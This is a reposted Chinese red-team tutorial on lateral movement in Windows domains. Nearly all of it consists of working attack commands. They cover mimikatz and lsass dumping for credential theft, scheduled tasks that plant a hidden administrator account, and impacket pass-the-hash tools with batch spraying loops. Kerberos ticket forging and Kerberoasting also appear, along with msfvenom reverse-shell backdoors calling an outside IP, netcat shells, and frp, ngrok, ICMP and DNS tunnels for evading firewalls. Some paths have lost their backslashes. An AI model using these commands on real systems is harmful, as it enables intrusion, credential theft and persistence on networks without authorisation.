红队横向渗透

admin 2022年5月23日01:53:56安全文章评论22 views15529字阅读51分45秒阅读模式

横向渗透

at&schtasks命令

案例一 横向渗透明文传递at&schtasks

本身就是系统命令,不会被免杀

创建计划任务,前提是获得目标系统的用户明文文密码,作用可以在远程主机上执行命令

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。

获取到某域主机权限->mimikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

#提升权限
privilege::debug

#抓取密码
sekurlsa::logonpasswords

利用流程(建立在明文密码和用户名)

1.建立IPC链接到目标主机2.拷贝要执行的命令脚本到目标主机3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本4.删除IPC链接

#建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

需要工具

mimikatz at < Windows 2012 schtasks >= Windows 2012

条件

1.对方开启139、445端口,或防火墙关闭2.操作系统在2003以上3.普通用户权限也可以连接其他主机,只要有对方的用户名和密码

# 通过前期的信息收集,得知域控的地址为test.com,用户名为administrator 密码123.com直接连接
net user # 查看链接
net user \192.168.216.10ipc$ 123.com /user:testadministrator  # 连接域控
# 连接成功后,拷贝执行文件到目标机器
at \192.168.216.10

add.bat文件

net user xiaojidong qwe123!@ /add

# 创建隐藏用户并添加到管理员组中
net user xiaojidong$ qwe123!@ /add
net localgroup administrators xiaojidong$ /add
# 在桌面创建一个bat文件,不要在C盘路径创建,有可能需要域控权限
copy add.bat \192.168.216.10c$  # 将文件放入域控C盘下
# 创建任务
net time /domain
at \192.168.216.10 21:11 c:add.bat  # 执行add.abt 在21:11分  # 注意c:的这个必须要加

dir \192.168.216.10 c$ # 查看C盘下面的文件
# 如果对方是windows>=2012,则用schtasks
# 如果没有链接成功,将ip地址换成计算机名

创建完任务后还要删除add.bat文件,不过执行命令未能删除

# 查看计划任务
at \192.168.216.10


# 创建一个任务,然后去执行任务
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:add.bat /F #创建 adduser 任务
# 会回显一个交互
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务

impacket-atexec

是第三方工具,有可能被杀掉,需要进行免杀

Impacket 是一组用于处理网络协议的 Python 类。Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中解析出来,面向对象的 API 使处理深层协议变得简单

支持的协议

以太网,Linux“熟”捕获。IP、TCP、UDP、ICMP、IGMP、ARP。IPv4 和 IPv6 支持。NMB 和 SMB1、SMB2 和 SMB3(高级实现)。MSRPC 版本 5,通过不同的传输:TCP、SMB/TCP、SMB/NetBIOS 和 HTTP。普通、NTLM 和 Kerberos 身份验证,使用密码/哈希/票证/密钥。以下 MSRPC 接口的部分/完整实现:EPM、DTYPES、LSAD、LSAT、NRPC、RRP、SAMR、SRVS、WKST、SCMR、BKRP、DHCPM、EVEN6、MGMT、SASEC、TSCH、DCOM、WMI、OXABREF、NSPI、 OXNSPI。TDS (MSSQL) 和 LDAP 协议实现的部分内容。

#案例 2-横向渗透明文 HASH 传递 atexec-impacket
atexec.exe ./administrator:123/@192.168.3.21 "whoami"
atexec.exe god/administrator:abc.123[email protected]192.168.10.1 "ver"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected]192.168.10.1 "whoami"  # 该hash值是通过minikatz抓取的

案例三 横向渗透明文HASH传递批量-综合

# 用ping命令探测内网网段存活的主机
for /L %i in (1,1,254DO @ping -w 1 -n 1 192.168.216.%i | findstr "TTL="

# 批量传递
FOR /F %%i in (ips.txt) do net use \%%iipc$ "[email protected]#45" /user:administrator #批量检测 IP 对应明文
# 连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#[email protected]%%i whoami #批量检测 IP 对应明文
# 回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected]192.168.3.21 whoami #批量检测明文对应 IP
# 回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected]192.168.3.21 whoami #批量检测
HASH 对应 IP

案例四 横向渗透明文HASH传递批量利用

除了收集了明文和HASH,也可以收集到用户名

那么可以IP变、明文或HASH变,用户名变

可以用Python写,pyinstaller打包

注意

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

这针对的就是mimikatz从内存中获取明文密码

因此我们可以通过下面5种方式解决此问题

1.利用哈希hash传递(pth,ptk等)进行移动2.利用其他服务协议(SMB,WMI等)进行哈希移动3.at & schtasks & impacket-atexec

前两种是得到hash值后进行hash传递

1.利用注册表操作开启Wdigest Auth值进行获取

# 修改注册表命令
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

1.利用工具或第三方平台(Hachcat)进行破解获取

利用工具破解hash值

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash

Procdump+Mimikatz配合获取

Procdump 是Windows官方的一款exe工具,原理是用Procdump(不会被杀)工具在管理员的权限下生成一个dmp文件,然后利用Mimikatz从该dmp文件中读取密码,该方法不需要将Mimikatz工具放入目标主机,不用做免杀

# 用管理员命令执行
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# 打开mimikatz工具
# 先权限提升
privilege::debug
#导入文件
sekurlsa::minidump lsass.dmp
#读取文件
sekurlsa::logonPasswords full

hashcat破解获取Windows NTML HASH

hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等

kali里面可以通过apt下载

准备工具

字典

hashcat -a 0 -m 1000 hash file --force

基本参数

-m 指定哈希类别,其值为数字

数字 对应的hash
0 MD5
100 SHA1
1300 SHA2-224
1400 SHA2-256
3000 LM
1000 NTLM

-a 指定攻击模式,-a 0 字典攻击 -a 1 组合攻击 -a 3掩码攻击--force 单独破解一条md5需要加force参数


利用SMB服务可以通过明文或hash传递来远程执行

SMB是Windows系统的协议名,用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现,默认端口445

文件共享是指主动地在网络上共享自己的计算机文件。一般文件共享使用P2P模式,文件本身存在用户本人的个人电脑上。大多数参加文件共享的人也同时下载其他用户提供的共享文件。有时这两个行动是连在一起的。在很早期的windows中(windows2000以下),文件共享服务是利用TCP的139端口实现的,服务名是SMB。后来,微软又把SMB改名为CIFS协议,并且使用的是TCP的445端口

条件:开放445端口,并且知道对方的用户名和密码或者hash

利用psexec(官方工具)

方法一:先有ipc链接,psexec需要明文或hash传递

# 建立链接
net use \192.168.10.1ipc$ "abc.123.com" /user:administrator
# 利用psexec横向渗透
pesexec \192.168.10.1 -s cmd  # -s 以system权限运行

方法二:不用建立IPC直接提供明文账户密码

psexec \192.168.10.1 -u administrator -p Admin12345 -s cmd

# 当通过hash传递的时候出现问题时,可以通过非官方的impacket工具包,工具包里面也有psexec(可能会免杀)
psexec -hashes :$HASH$ ./[email protected]10.1.2.3
psexec -hashes :$HASH$ domain/[email protected]10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]192.168.10.1

采用非官方自带工具smbexec(操作简单,容易被杀)

# 无需ipc链接,可以明文或hash传递
smbexec god/administrator:[email protected]192.168.10.1
smbexec ./administrator:abc.123[email protected]192.168.10.1
smbexec -hashes :$HASH$ ./[email protected]192.168.10.1
smbbexec -hashes :$HASH$ domain/[email protected]192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/[email protected]192.168.3.21

利用WMI服务进行利用

WMI是通过135端口进行利用,支持用户名明文或者hash的方式认证,并且该方法不会在目标日志留下痕迹

自带WMIC 明文传递 无回显(不会被杀)

# 复现成功有点慢
wmic /node:192.168.10.1 /user:administrator /password:abc.123.com process call create "cmd.exe /c ipconfig >C:1.txt"

自带cscript明文传递 无回显

# 直接会反弹对方的shell,权限为administrator
cscript //nologo wmiexec.vbs /shell 192.168.10.1 administrator abc.123.com

套件impacket wmiexec 明文或hash传递 有回显exe版本

支持明文、hash,但可能会被免杀

wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected]192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected]192.168.3.21 "whoami"

总结

官方的工具(at&schtasks&smb&wmi)功能少,不用免杀,只能用明文第三方工具(impack中的atexec&smbexec&wmiexec)功能多,考虑要免杀,可以明文和hash

因此要更加深入PTH&PTT&PTK

PTH&PTT&PTK(三种攻击方式)

PTH(pass the hash) #利用 LM或 ntlm 的值进行的渗透测试PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试

PTH

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。对于 8.1/2012r2,安装补丁kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击

总结: KB2871997 补丁后的影响

pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接ptk:打了补丁才能用户都可以连接,采用 aes256 连接

PTT

三种攻击方式

MS14-068Golden tcket(黄金票据)SILVER ticket(白银票据)

后两种属于权限维持技术

案例一 横向移动PTH传递-mimikatz


# 未打补丁下的工作组及域连接 PTH ntlm 传递
# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonpasswords
# 横向渗透
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

案例二 横向移动PTK传递-mimikatz(PTK aes256)

# 打补丁后的工作组及域连接:
# 打了补丁才能用户都可以连接,采用 aes256 连接
# 提升权限
privilege::debug

sekurlsa::ekeys # 获取aes 256_hmac
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

总结

没打补丁 pth可以连接所有用户打了补丁 pth只能连接administrator,ptk用aes连接所有用户没打补丁,不能用ptk

案例三 横向移动PTT传递-MS14068&kekeo&local(类似cookie)(存活时间大概十个小时)

PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种 常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到 内存中实现连接。MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据) 其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术 MS14-068

MS14-068

1.查看当前 sid 
whoami/user
2.mimikatz # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
两种方式清除凭证  # 不用管理员权限
kerberos::purge 
klist purge
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u [email protected] -s S-1-5-21-2706014596-4246955829-71840847-1114 -d 192.168.10.1 -p 123.com!
4.票据注入内存
mimikatz.exe
kerberos::ptc [email protected]
exit
5.查看凭证列表
klist
6.利用
dir \192.168.3.21c$
dir \dc01.test.comc$
或者计算机名

kekeo工具

1.生成票据
.kekeo "tgt::ask /user:wz /domain:test.com /ntlm:518b98ad4178a53695dc997aa02d455c"
kekeo "tgt::ask /user:wz /domain:test.com /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt [email protected][email protected]
3.查看凭证 klist
4.利用 net use 载入
dir \192.168.10.1c$
dir \dc01.test.comc$

利用本地票据(需要管理权限)

这个主要是其他用户在本机上登录过,该电脑上存在其他用户的票据,存活时间大概十小时,这样可以伪装其他用户去登录主机

sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi # 筛选下导入内存的票据 
当导出票据后,最好将票据和mimikatz放在同一个目录中

案例四 国产Ladon内网杀器

Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。8.6版本内置115个功能模块,外部模块18个,通过多种协议以及方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、数据库等信息,漏洞检测包含MS17010、SMBGhost、Weblogic、ActiveMQ、Tomcat、Struts2系列等,密码爆破13种含数据库(Mysql、Oracle、MSSQL)、FTP、SSH、VNC、Windows(LDAP、SMB/IPC、NBT、WMI、SmbHash、WmiHash、Winrm)、BasicAuth、Tomcat、Weblogic、Rar等,远程执行命令包含(wmiexe/psexec/atexec/sshexec/jspshell),Web指纹识别模块可识别75种(Web应用、中间件、脚本类型、页面类型)等,可高度自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配置INI批量调用任意外部程序或命令,EXP生成器可一键生成漏洞POC快速扩展扫描能力。Ladon支持Cobalt Strike插件化扫描快速拓展内网进行横向移动

信息收集-协议扫描-漏洞探针-传递攻击

Cobalt Strike

案例一 横向移动RDP传递-Mimikatz

远程连接协议,3389端口

# 除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作
# RDP明文密码链接(对方的3389端口是否开启)通过端口扫描来判断,连接不成功,说明对方端口关闭
windows: mstsc
mstsc.exe /console /v:192.168.10.1 /admin
linux: 
rdesktop 192.168.10.1:3389
# RDP密文HASH链接
# windows server需要开启 Restricted Admin mode,在Windows8.1和Windows server 2012 R2中默认开启,同时如果windows 7和Windows server 2008R2安装了2871997、2973351补丁也支持;开启命令
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
# 开启后运行
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef2-8c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

案例二 横向渗透SPN服务-探针,请求,破解,重写(比较鸡肋)

黑客可以使用有效的域用户的身份验证票证(TGT)去请求去运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务账户加密票证,以便服务能够验证用户是否可以访问,请求的kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务账户的NTLM密码哈希用于加密服务票证,黑客将收到的TGS票据离线进行破解,即可得到目标服务账号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户账户注册的任意SPN,那么该用户账户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键

SPN扫描也称为“扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描,SPN扫描通过请求特定SPN类型的服务主体名称来查找服务,与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志),因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大

由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描

步骤

1.探针
setspn -q */*  # 扫描全部,探测服务,端口  # 普通域用户权限都可以
setspn -q */* | findstr "MSSQL"
2.请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxxx"  # 刚才得到的服务MSSQL

mimikatz.exe
kerberos::ask /target:xxxx
# 导出
mimikatz.exe "kerberos::list /export"
3.破解
python tgsrepcrack.py password.txt xxxx.kirbi
python3 ./tgsrepcrack.py .password.txt .1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
4.重写
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 # -u 管理员500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 # -g 组 管理员组512
mimkatz.exe 
kerberos::ptt xxxx.kirbi  # 将生成的票据注入内存

案例三 CS一把梭哈(Cobalt Strike)

内网漫游Socks代理隧道技术

代理

解决

内网有外网内网有过滤内网无外网

方向

正向反向

工具

npsfrp *ngrok *reGeorg *sockscap64earthworm(停止更新)proxifierproxychairs

基础知识

内网地址是私有网段,10.10 192.168. 172.16两个内网要实现通信,用代理来解决控制端连接被控(正向) 被控连接控制端(反向)

案例一 内网穿透Ngrok测试演示-两个内网通讯上线

肉鸡在A内网,攻击机在B内网,两者实现通信

1.ngrok使用(需要花钱稳定)

注册-购买-填写-确认http地址

./sunny clientid ngrok地址
http://zzzzssw.free.idcfengye.com -> 192.168.216.165:1234
确保状态为online
用msfvenom生成后门
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcengye.com lport=80 -f exe -o test.exe  # 这个端口对应的是执行test.exe文件的服务器的端口
配置后门的监听状态
use exploit/multi/handler
set payload windows/meterpreter/reverse_http  # 这里的http协议与ngrok设置的协议一致,一般用的是tcp协议
监听的是本地端口和ip
set lhost 192.168.76.132(kali地址)
set lport 4444 # 这个端口是kali监听的端口,这个端口和在ngrok设置的端口要一致
exploit

然后再运行对方的test.exe文件,相当于对方来连接本机,属于反向代理

1.内网穿透Frp自建跳板测试-两个内网通讯上线

自行搭建,方便修改,成本低,使用多样化(一定不要用阿里云,这个需要修改安全组配置出入口)

# 需要自己的服务器
1.服务端-下载-解压-修改-启动
服务器修改配置文件 frps.ini:
[common]
bind_port = 6677
启动服务端:
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件 frpc.ini:
[common]
server_addr = 你的云主机 ip
server_port = 6677 #frpc 工作端口,必须和上面 frps 保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的 5555
remote_port = 6000 #服务端用 6000 端口转发给本机
启动客户端:
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
3.靶机运行 frp 即可

隧道(主要用在域里面,因为域控可以设置策略)

在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截 CS、MSF 无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等,不仅解决网络通信问题,还能解决防火墙过滤问题、入侵检测系统(红蓝对抗)

作用

防护墙过滤问题网络连接通信问题数据回链封装问题

知识点

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况, 如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的 通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙, 与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术有三种

1.网络层:IPV6隧道、ICMP隧道2.传输层:TCP隧道、UDP隧道、常规端口转发3.应用层:SSH隧道、HTTP/S隧道、DNS隧道

应用条件

已经获得了一些控制权,但是服务端无法被控制,不能完整的展示

案例一 网络传输应用层检测连通性(如果想用tcp隧道,那么就先要检测tcp协议是否支持)

1.TCP协议

瑞士军刀(nc)

nc 139.186.198.33 port

2.HTTP协议

用“curl”工具,执行 curl 命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息

curl <ip地址:端口>

3.ICMP协议

ping

4.DNS协议

检测 DNS 连通性常用的命令是“nslookup”和“dig”

nslookup 是 windows 自带的 DNS 探测命令

dig 是 linux 系统自带的 DNS 探测命令

案例二 网络层ICMP隧道pingtunnel使用-检测-利用

先检测icmp协议是否利用,如果可以利用,则可以使用ICMP协议建立隧道 
pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码
Webserver:./ptunnel -x xiaodi  # 构建一个隧道
Hacker xiaodi:./ptunnel -p 192.168.76.150(webserver的外网) -lp(hacker 主机的端口) 1080 -da(目标地址) 192.168.33.33 -dp(目标端口) 3389 -x xiaodi(密码) #转发的 3389请求数据给本地 1080
Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)

案例三 传输层转发隧道Portmap或lcx使用-检测-利用

Windows:lcxLinux:Portmap

两台主机
lcx -slave (中间机)IP 3131 127.0.0.1 3389 //将本地 3389 给中间机的3131端口
lcx -listen 3131 3333 //监听 3131 转发至 3333(中间机)

第三台攻击机
建立成功后用
rdesktop 192.168.76.143:3333(攻击机,连接的是中间机的ip)

案例四 传输层转发隧道Netcat使用-检测-利用 确保nc最新版本

1.双向连接反弹 shell
正向:攻击连接受害
    受害:        nc -lvvp 1234 -e /bin/sh //linux
              nc -lvvp 1234 -e c:windowssystem32cmd.exe //windows
    攻击:     nc 192.168.76.132 1234 //主动连接
反向:受害连接攻击

    攻击:     nc -lvvp 1234
    受害:     nc 攻击主机 IP 1234 -e /bin/sh //linux
              nc 攻击主机 IP 1234 -e c:windowssystem32cmd.exe //windows

2.多向连接反弹 shell-配合转发
反向:
    godWebserver:Lcx.exe -listen 2222 3333
    godSqlserver:nc 192.168.3.31 2222 -e c:windowssystem32cmd.exe
    kali 或本机:nc -v 192.168.76.143 3333

3.相关 netcat 主要功能测试
    端口扫描:nc -v -z 192.168.76.143 1-100
    端口监听:nc -lvp xxxx
    文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
    反弹 Shell:见上

案例五 应用层 DNS 隧道配合 CS 上线-检测,利用

当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀

CS生成的监听器实际上就是一个隧道,CS生成的监听器一定要看对方支持的协议什么,然后生成什么种类的监听器

1.云主机 Teamserver 配置端口 53 启用-udp
2.买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址
3.配置 DNS 监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4.生成后门执行上线后启用命令:
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-tx

MSF&CobaltStrike联动Shell

针对点不同,各种重点不同,因此要转发联动

cs 向 msf
创建Foriegn监听器-msf监听模块设置对应地址端口-cs执行spawn选择监听器
就是msf上的监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

msf 向 cs
cs 创建监听器-msf载入新模块注入设置对应地址端口-执行cs等待上线
模块
use exploit/windows/local/payload_inject
set payload windows/meterpreter/revers_tcp(该模块与cs设置的监听器名字要一致)
set lport 5566
set lhost ip
set session 4(要反弹msf上的对应shell)

网络¥安全联盟站

欢迎大家加入学习,主要以网络技术和安全攻防为主,资料覆盖全面。

红队横向渗透

内容均来自于互联网,如有侵权请联系删除

原文始发于微信公众号(威胁猎人):红队横向渗透

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月23日01:53:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  红队横向渗透 http://cn-sec.com/archives/1037089.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: